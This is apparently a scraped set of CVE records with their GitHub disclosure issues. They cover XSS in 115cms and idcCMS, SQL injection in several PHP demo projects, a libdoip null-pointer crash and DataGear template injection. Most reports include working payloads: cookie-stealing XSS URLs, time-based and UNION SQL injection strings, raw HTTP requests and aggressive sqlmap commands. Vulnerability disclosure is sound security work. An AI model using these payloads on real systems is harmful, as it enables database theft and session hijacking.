`http://target-ip/index.php/admin/web/useradmin.html?ks=%22%3E%3Cscript%3Ealert(1)%3C/script%3E` `http://target-ip/index.php/admin/web/appurladd.html?tid=%22%3E%3Cscript%3Ealert(1)%3C/script%3E` `http://target-ip/index.php/setpage/admin/pageAE.html?tid=%22%3E%3Cscript%3Ealert(1)%3C/script%3E` ![image](https://github.com/user-attachments/assets/d4be8d9a-1993-494f-971c-c2791b1bf6bc) # Impact If a administrator accesses the malicious url, the cookie may be obtained by an attacker.

Multiple Reflected Cross-Site Scripting (XSS) Vulnerabilities in 115cms v8 20240807

https://api.github.com/repos/Hebing123/cve/issues/70/comments

1

2024-09-05T06:15:05Z

2024-11-21T09:32:15Z

https://github.com/Hebing123/cve/issues/70

2,506,863,968

70

6,406

CVE-2024-11587

2024-11-21T13:15:03.803

A vulnerability was found in idcCMS 1.60. It has been classified as problematic. This affects the function GetCityOptionJs of the file /inc/classProvCity.php. The manipulation of the argument idName leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.

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[ { "source": "cna@vuldb.com", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/Hebing123/cve/issues/75" }, { "source": "cna@vuldb.com", "tags": [ "Permissions Required" ], "url": "https://vuldb.com/?ctiid.285657" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory" ], "url": "https://vuldb.com/?id.285657" }, { "source": "cna@vuldb.com", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://vuldb.com/?submit.442071" } ]

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[ "79" ]

79

https://github.com/Hebing123/cve/issues/75

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "Hebing123", "cve" ]

# Summary A reflected Cross Site Scripting (XSS) vulnerability exists in idcCMS V1.60 due to improper sanitization of the $idName parameter in `/inc/classProvCity.php`. # Details idcCMS V1.60 suffers from a Reflected Cross Site Scripting (XSS) vulnerability due to improper sanitization of the $idName parameter within the GetCityOptionJs method of the ProvCity class. This vulnerability can be exploited by an attacker to inject malicious scripts into the web application, which can then be executed in the browsers of other users. ``` // ··· class ProvCity{ // 获取城市数据 public static function GetDeal(){ $idName = trim(@$_GET['idName']); $prov = trim(@$_GET['prov']); echo(ProvCity::GetCityOptionJs($idName, $prov, '')); } // ··· public static function GetCityOptionJs($idName,$prov,$defVal='no'){ $provArr = self::GetCityArr($prov); $retStr = 'document.getElementById("'. $idName .'").options.length=0;'; if ($defVal != 'no'){ if (count($provArr) == 0 && strlen($defVal) == 0){ $retStr .= 'document.getElementById("'. $idName .'").options.add(new Option("请先选择省份",""));'; }else{ $retStr .= 'document.getElementById("'. $idName .'").options.add(new Option("'. $defVal .'",""));'; } } foreach ($provArr as $val){ $retStr .= 'document.getElementById("'. $idName .'").options.add(new Option("'. $val .'","'. $val .'"));'; } return $retStr; } } ``` # Proof of Concept (POC) `http://target-ip/read.php?idName=1%3Cscript%3Ealert(document.cookie)%3C/script%3E&mudi=getCityData` ![image](https://github.com/user-attachments/assets/c827e519-6458-4029-b585-a2c1d9cfa6a9)

idcCMS V1.60 has a reflected XSS vulnerability

https://api.github.com/repos/Hebing123/cve/issues/75/comments

1

2024-11-12T11:32:29Z

2024-11-21T09:26:12Z

https://github.com/Hebing123/cve/issues/75

2,651,919,647

75

6,407

CVE-2024-11588

2024-11-21T13:15:06.013

A vulnerability was found in AVL-DiTEST-DiagDev libdoip 1.0.0. It has been rated as problematic. This issue affects the function DoIPConnection::reactOnReceivedTcpMessage of the file DoIPConnection.cpp. The manipulation leads to null pointer dereference.

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[ "476" ]

476

https://github.com/AVL-DiTEST-DiagDev/libdoip/issues/11

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "AVL-DiTEST-DiagDev", "libdoip" ]

In the reactOnReceivedTcpMessage method, the ROUTINGACTIVATIONREQUEST activation command dynamically allocates an array to routedClientAddress. However, when the activation command is not used and a diagnostic command (8001) is sent directly, routedClientAddress is not allocated. If it is used afterward, it causes the program to crash. Normal activation process： ![image](https://github.com/user-attachments/assets/a83d261a-c6a5-4d5a-9a73-77eaa98b8506) However, if the diagnostic command is sent directly, the memory address for routedClientAddress will not be dynamically allocated. ![image](https://github.com/user-attachments/assets/8747adbc-6232-4b7c-ac56-8f746fb184ac) ![image](https://github.com/user-attachments/assets/855d96c0-16c0-45f1-92e1-6a5ef75f54e5) ![image](https://github.com/user-attachments/assets/dd0083ce-dd9c-47a6-b17f-f0a3b46ba411) ![image](https://github.com/user-attachments/assets/b9d1763a-e665-4735-a2b9-8616eead7847) ![image](https://github.com/user-attachments/assets/d77a590f-aa13-4c06-a8f2-ef5c2dc030c5)

Null Pointer Vulnerability

https://api.github.com/repos/AVL-DiTEST-DiagDev/libdoip/issues/11/comments

1

2024-11-13T06:16:47Z

2024-11-13T06:17:47Z

https://github.com/AVL-DiTEST-DiagDev/libdoip/issues/11

2,654,338,896

11

6,408

CVE-2024-11589

2024-11-21T13:15:06.250

A vulnerability classified as critical was found in itsourcecode Tailoring Management System 1.0. Affected by this vulnerability is an unknown functionality of the file /expcatedit.php. The manipulation of the argument id leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used.

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[ "89" ]

89

https://github.com/kevin27392/cve/issues/1

[ "Exploit", "Third Party Advisory" ]

github.com

[ "kevin27392", "cve" ]

# Itsourcecode Tailoring Management System Project In PHP With Source Code v1.0 expcatedit.php SQL injection # NAME OF AFFECTED PRODUCT(S) + Tailoring Management System Project In PHP With Source Code ## Vendor Homepage + https://itsourcecode.com/free-projects/php-project/tailoring-management-system-project-in-php-with-source-code/ # AFFECTED AND/OR FIXED VERSION(S) ## submitter + kevin27392 ## Vulnerable File + expcatedit.php ## VERSION(S) + V1.0 ## Software Link + https://itsourcecode.com/wp-content/uploads/2021/04/tailoring-management-system-project-in-php-with-source-code.zip # PROBLEM TYPE ## Vulnerability Type + SQL injection ## Root Cause + A SQL injection vulnerability was found in the 'expcatedit.php' file of the 'Tailoring Management System Project In PHP With Source Code' project. The reason for this issue is that attackers inject malicious code from the parameter "id" and use it directly in SQL queries without appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. <img width="596" alt="1" src="https://github.com/user-attachments/assets/a03ecbd0-e005-4c51-aadc-ee46f533d9d9"> ## Impact + Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. # DESCRIPTION + Due to insufficient user input validation for the "id" parameter, a serious SQL injection vulnerability has been discovered in the "Tailoring Management System Project in PHP With Source Code", allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity. # Vulnerability details and POC ``` GET /expcatedit.php?id=19 HTTP/1.1 Host: 192.168.1.138:2223 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://192.168.1.138:2223/expcatview.php Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: __utma=123545163.603012537.1718449838.1718449838.1718449838.1; __utmz=123545163.1718449838.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=umavm58j5beqmmme0aof5v26v4 Connection: close ``` ## Vulnerability type: + time-based blind + UNION query ## Vulnerability location: + 'id' parameter ## Payload: ``` Parameter: id (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=19' AND (SELECT 3151 FROM (SELECT(SLEEP(5)))pERu) AND 'kPeI'='kPeI Type: UNION query Title: Generic UNION query (NULL) - 1 column Payload: id=-8252' UNION ALL SELECT CONCAT(0x716b6a7a71,0x634d776562616565644f446a7679485445415a4a79767573576b44764547796f676a6357626c6a6c,0x716b6b7a71)-- - ``` <img width="327" alt="2" src="https://github.com/user-attachments/assets/30852eb1-5d9e-4980-968d-b543fcc069ac"> ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ```bash sqlmap -r 123 --batch --dbs ``` <img width="323" alt="3" src="https://github.com/user-attachments/assets/db0a463d-4946-4b2d-85c2-37a3128f7707"> # Suggested repair 1. **Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. **Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format. 3. **Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. **Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

Itsourcecode Tailoring Management System Project In PHP With Source Code v1.0 expcatedit.php SQL injection

https://api.github.com/repos/kevin27392/cve/issues/1/comments

0

2024-11-16T04:39:52Z

https://github.com/kevin27392/cve/issues/1

2,663,750,316

1

6,409

CVE-2024-11590

2024-11-21T13:15:06.480

A vulnerability, which was classified as critical, has been found in 1000 Projects Bookstore Management System 1.0. Affected by this issue is some unknown functionality of the file /forget_password_process.php. The manipulation of the argument unm leads to sql injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "HIGH", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 7.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 10, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "cna@vuldb.com", "type": "Secondary", "userInteractionRequired": false } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "LOW", "baseScore": 7.3, "baseSeverity": "HIGH", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 3.4, "source": "cna@vuldb.com", "type": "Secondary" }, { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": [ { "cvssData": { "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "Safety": "NOT_DEFINED", "attackComplexity": "LOW", "attackRequirements": "NONE", "attackVector": "NETWORK", "availabilityRequirement": "NOT_DEFINED", "baseScore": 6.9, "baseSeverity": "MEDIUM", "confidentialityRequirement": "NOT_DEFINED", "exploitMaturity": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "privilegesRequired": "NONE", "providerUrgency": "NOT_DEFINED", "subAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "userInteraction": "NONE", "valueDensity": "NOT_DEFINED", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "version": "4.0", "vulnAvailabilityImpact": "LOW", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnerabilityResponseEffort": "NOT_DEFINED" }, "source": "cna@vuldb.com", "type": "Secondary" } ] }

[ { "source": "cna@vuldb.com", "tags": [ "Product" ], "url": "https://1000projects.org/" }, { "source": "cna@vuldb.com", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/1ighttack/CVE/issues/1" }, { "source": "cna@vuldb.com", "tags": [ "Permissions Required", "Third Party Advisory" ], "url": "https://vuldb.com/?ctiid.285662" }, { "source": "cna@vuldb.com", "tags": [ "Permissions Required", "Third Party Advisory" ], "url": "https://vuldb.com/?id.285662" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory" ], "url": "https://vuldb.com/?submit.445580" } ]

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[ "89" ]

89

https://github.com/1ighttack/CVE/issues/1

[ "Exploit", "Third Party Advisory" ]

github.com

[ "1ighttack", "CVE" ]

# 100projects Bookstore Management System PHP MySQL Project V1.0 forget_password_process.php SQL injection # NAME OF AFFECTED PRODUCT(S) + Bookstore Management System PHP MySQL Project ## Vendor Homepage + https://1000projects.org/bookstore-management-system-php-mysql-project.html # AFFECTED AND/OR FIXED VERSION(S) ## submitter + pin1 ## Vulnerable File + forget_password_process.php ## VERSION(S) + V1.0 ## Software Link + https://1000projects.org/wp-content/uploads/2023/01/Bookstore-Management-System.7z # PROBLEM TYPE ## Vulnerability Type + SQL injection ## Root Cause + A SQL injection vulnerability was found in the 'forget_password_process.php' file of the 'Bookstore Management System PHP MySQL Project' project. The reason for this issue is that attackers inject malicious code from the parameter 'unm' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. ## Impact + Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. # DESCRIPTION + During the security review of "Bookstore Management System PHP MySQL Project", pin1 discovered a critical SQL injection vulnerability in the "forget_password_process.php" file. This vulnerability stems from insufficient user input validation of the 'unm' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity. # No login or authorization is required to exploit this vulnerability # Vulnerability details and POC ## Vulnerability type: + time-based blind ## Vulnerability location: + 'unm' parameter ## Payload: ```makefile Parameter: unm (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: unm=1111' AND (SELECT 3819 FROM (SELECT(SLEEP(5)))nmGA)-- dupg&question=Which is your Favourite Movie ?&answer=1111&pwd=1111&cpwd=1111 ``` ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ```bash sqlmap -u "http://10.211.55.6:1111/forget_password_process.php" --data="unm=1111&question=Which+is+your+Favourite+Movie+%3F&answer=1111&pwd=1111&cpwd=1111" --method=POST --level=5 --risk=3 --batch --dbs --random-agent ``` + <img width="574" alt="image" src="https://github.com/user-attachments/assets/b3b0ad07-4bd6-41f8-987e-912d3da743b1"> # Suggested repair 1. **Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. **Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format. 3. **Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. **Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

100projects Bookstore Management System PHP MySQL Project V1.0 forget_password_process.php SQL injection

https://api.github.com/repos/1ighttack/CVE/issues/1/comments

0

2024-11-16T05:40:42Z

https://github.com/1ighttack/CVE/issues/1

2,663,852,164

1

6,410

CVE-2024-11591

2024-11-21T14:15:08.713

A vulnerability, which was classified as critical, was found in 1000 Projects Beauty Parlour Management System 1.0. This affects an unknown part of the file /admin/add-services.php. The manipulation of the argument sername leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.

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[ "89" ]

89

https://github.com/Hacker0xone/CVE/issues/14

[ "Exploit", "Third Party Advisory" ]

github.com

[ "Hacker0xone", "CVE" ]

# 1000projects Beauty Parlour Management System PHP SQLite Project V1.0 admin/add-services.php SQL injection # NAME OF AFFECTED PRODUCT(S) + Beauty Parlour Management System PHP SQLite Project ## Vendor Homepage + https://1000projects.org/beauty-parlour-management-system-php-sqlite-project.html # AFFECTED AND/OR FIXED VERSION(S) ## submitter + Hacker0xOne ## Vulnerable File + admin/add-services.php ## VERSION(S) + V1.0 ## Software Link + https://1000projects.org/wp-content/uploads/2023/01/Beauty-Parlour-Management-System.7z # PROBLEM TYPE ## Vulnerability Type + SQL injection ## Root Cause + A SQL injection vulnerability was found in the 'admin/add-services.php' file of the 'Beauty Parlour Management System PHP SQLite Project' project. The reason for this issue is that attackers inject malicious code from the parameter 'sername' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. ## Impact + Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. # DESCRIPTION + During the security review of "Beauty Parlour Management System PHP SQLite Project", Hacker0xOne discovered a critical SQL injection vulnerability in the "admin/add-services.php" file. This vulnerability stems from insufficient user input validation of the 'sername' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity. # No login or authorization is required to exploit this vulnerability # Vulnerability details and POC ## Vulnerability type: + time-based blind ## Vulnerability lonameion: + 'sername' parameter ## Payload: ```makefile Parameter: sername (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: sername=1111111' AND (SELECT 6074 FROM (SELECT(SLEEP(5)))aOPX) AND 'lear'='lear&cost=1111111&submit= ``` ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ```bash sqlmap -u "http://10.211.55.6:1112/admin/add-services.php" --cookie="PHPSESSID=hmbfn5n9cu9uiq2n60sohgnito" --data="sername=1111111&cost=1111111&submit=" --batch --dbms=mysql --level=5 --risk=3 --dbs --random-agent ``` + <img width="579" alt="image" src="https://github.com/user-attachments/assets/ffa37418-db24-4ebc-975d-fdf76a90a695"> # Suggested repair 1. **Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. **Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format. 3. **Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. **Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

1000projects Beauty Parlour Management System PHP SQLite Project V1.0 admin/add-services.php SQL injection

https://api.github.com/repos/Hacker0xOne/CVE/issues/14/comments

0

2024-11-16T14:03:31Z

2024-11-16T14:03:32Z

https://github.com/Hacker0xOne/CVE/issues/14

2,664,404,665

14

6,411

CVE-2024-11592

2024-11-21T15:15:25.003

A vulnerability has been found in 1000 Projects Beauty Parlour Management System 1.0 and classified as critical. This vulnerability affects unknown code of the file /admin/about-us.php. The manipulation of the argument pagetitle leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.

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[ "89" ]

89

https://github.com/Hacker0xone/CVE/issues/15

[ "Exploit", "Third Party Advisory" ]

github.com

[ "Hacker0xone", "CVE" ]

# 1000projects Beauty Parlour Management System PHP SQLite Project V1.0 admin/about-us.php SQL injection # NAME OF AFFECTED PRODUCT(S) + Beauty Parlour Management System PHP SQLite Project ## Vendor Homepage + https://1000projects.org/beauty-parlour-management-system-php-sqlite-project.html # AFFECTED AND/OR FIXED VERSION(S) ## submitter + Hacker0xOne ## Vulnerable File + admin/about-us.php ## VERSION(S) + V1.0 ## Software Link + https://1000projects.org/wp-content/uploads/2023/01/Beauty-Parlour-Management-System.7z # PROBLEM TYPE ## Vulnerability Type + SQL injection ## Root Cause + A SQL injection vulnerability was found in the 'admin/about-us.php' file of the 'Beauty Parlour Management System PHP SQLite Project' project. The reason for this issue is that attackers inject malicious code from the parameter 'pagetitle' and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. ## Impact + Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. # DESCRIPTION + During the security review of "Beauty Parlour Management System PHP SQLite Project", Hacker0xOne discovered a critical SQL injection vulnerability in the "admin/about-us.php" file. This vulnerability stems from insufficient user input validation of the 'pagetitle' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity. # No login or authorization is required to exploit this vulnerability # Vulnerability details and POC ## Vulnerability type: + booelan-based blind + time-based blind ## Vulnerability lonameion: + 'pagetitle' parameter ## Payload: ```makefile Parameter: pagetitle (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment) Payload: pagetitle=About Us111' WHERE 9921=9921 AND 7990=(SELECT (CASE WHEN (7990=7990) THEN 7990 ELSE (SELECT 6847 UNION SELECT 3136) END))-- -&pagedes=1111111&submit= Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: pagetitle=About Us111' WHERE 7307=7307 AND (SELECT 1097 FROM (SELECT(SLEEP(5)))EISq)-- BmAn&pagedes=1111111&submit= ``` ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ```bash sqlmap -u "http://10.211.55.6:1112/admin/about-us.php" --data="pagetitle=About+Us111&pagedes=1111111&submit=" --cookie="PHPSESSID=590ushp8n3aqabqpe4p1cpmeov" --batch --level=5 --risk=3 --dbms=mysql --dbs --random-agent ``` + !<img width="569" alt="image-1" src="https://github.com/user-attachments/assets/75aa31fd-0bd0-4332-b025-750a845af797"> # Suggested repair 1. **Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. **Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format. 3. **Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. **Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

100projects Beauty Parlour Management System PHP SQLite Project V1.0 admin/about-us.php SQL injection

https://api.github.com/repos/Hacker0xOne/CVE/issues/15/comments

0

2024-11-16T14:09:11Z

https://github.com/Hacker0xOne/CVE/issues/15

2,664,412,163

15

6,412

CVE-2024-11631

2024-11-23T12:15:19.760

A vulnerability was found in itsourcecode Tailoring Management System 1.0 and classified as critical. This issue affects some unknown processing of the file /expedit.php. The manipulation of the argument expcat leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.

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https://github.com/sil3n/cve/issues/1

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github.com

[ "sil3n", "cve" ]

# Itsourcecode Tailoring Management System Project In PHP With Source Code v1.0 expedit.php SQL injection # NAME OF AFFECTED PRODUCT(S) + Tailoring Management System Project In PHP With Source Code ## Vendor Homepage + https://itsourcecode.com/free-projects/php-project/tailoring-management-system-project-in-php-with-source-code/ # AFFECTED AND/OR FIXED VERSION(S) ## submitter + sil3n ## Vulnerable File + expedit.php ## VERSION(S) + V1.0 ## Software Link + https://itsourcecode.com/wp-content/uploads/2021/04/tailoring-management-system-project-in-php-with-source-code.zip # PROBLEM TYPE ## Vulnerability Type + SQL injection ## Root Cause + A SQL injection vulnerability was found in the 'expedit.php' file of the 'Tailoring Management System Project In PHP With Source Code' project. The reason for this issue is that attackers inject malicious code from the parameter "expcat" and use it directly in SQL queries without appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. <img width="856" alt="1" src="https://github.com/user-attachments/assets/558238d7-ba69-4e55-bbd1-db10e8ea25e0"> ## Impact + Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. # DESCRIPTION + Due to insufficient user input validation for the "expcat" parameter, a serious SQL injection vulnerability has been discovered in the "Tailoring Management System Project in PHP With Source Code", allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity. # Vulnerability details and POC ``` POST /expedit.php?id=11 HTTP/1.1 Host: 192.168.1.138:2223 Content-Length: 58 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.1.138:2223 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://192.168.1.138:2223/expedit.php?id=11 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: __utma=123545163.603012537.1718449838.1718449838.1718449838.1; __utmz=123545163.1718449838.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); PHPSESSID=umavm58j5beqmmme0aof5v26v4 Connection: close expcat=4&desc=asdasw1+Salary&date=2024-06-01&amount=123123 ``` ## Vulnerability type: + time-based blind ## Vulnerability location: + 'expcat' parameter ## Payload: ``` Parameter: expcat (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: expcat=4' AND (SELECT 5582 FROM (SELECT(SLEEP(5)))wjLg) AND 'cVFs'='cVFs&desc=asdasw1 Salary&date=2024-06-01&amount=123123 ``` <img width="318" alt="2" src="https://github.com/user-attachments/assets/a7a44570-a709-49db-b336-9a2fa557d513"> ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ```bash sqlmap -r 123 --batch --dbs ``` <img width="313" alt="3" src="https://github.com/user-attachments/assets/0fb7e496-ec31-464d-8dfb-2acd9463ca2c"> # Suggested repair 1. **Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. **Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format. 3. **Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. **Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

Itsourcecode Tailoring Management System Project In PHP With Source Code v1.0 expedit.php SQL injection

https://api.github.com/repos/sil3n/cve/issues/1/comments

0

2024-11-18T02:03:49Z

2024-11-18T02:03:50Z

https://github.com/sil3n/cve/issues/1

2,666,853,834

1

6,413

CVE-2023-7299

2024-11-23T13:15:04.547

A vulnerability was found in DataGear up to 4.60. It has been declared as critical. This vulnerability affects unknown code of the file /dataSet/resolveSql. The manipulation of the argument sql leads to sql injection. The attack can be initiated remotely. Upgrading to version 4.7.0 is able to address this issue. It is recommended to upgrade the affected component.

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[ "89" ]

89

https://github.com/datageartech/datagear/issues/29

[ "Exploit" ]

github.com

[ "datageartech", "datagear" ]

The /dataSet/resolveSql interface sql parameters can be template injected, resulting in rce. just like: ![rce](https://github.com/datageartech/datagear/assets/49425165/45db9004-7c10-4ddf-a631-085cd8df41b8)

/dataSet/resolveSql interface freemarker template injection vulnerability

https://api.github.com/repos/datageartech/datagear/issues/29/comments

1

2023-09-22T10:26:10Z

2024-01-03T12:10:14Z

https://github.com/datageartech/datagear/issues/29

1,908,639,829

29

6,414

CVE-2024-11632

2024-11-23T14:15:17.880

A vulnerability was found in code-projects Simple Car Rental System 1.0. It has been classified as critical. Affected is an unknown function of the file /book_car.php. The manipulation of the argument fname/id_no/gender/email/phone/location leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The initial researcher advisory only mentions the parameter "fname" to be affected. Further analysis indicates that other arguments might be affected as well.

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[ "89" ]

89

https://github.com/sil3n/cve/issues/2

[ "Exploit", "Third Party Advisory" ]

github.com

[ "sil3n", "cve" ]

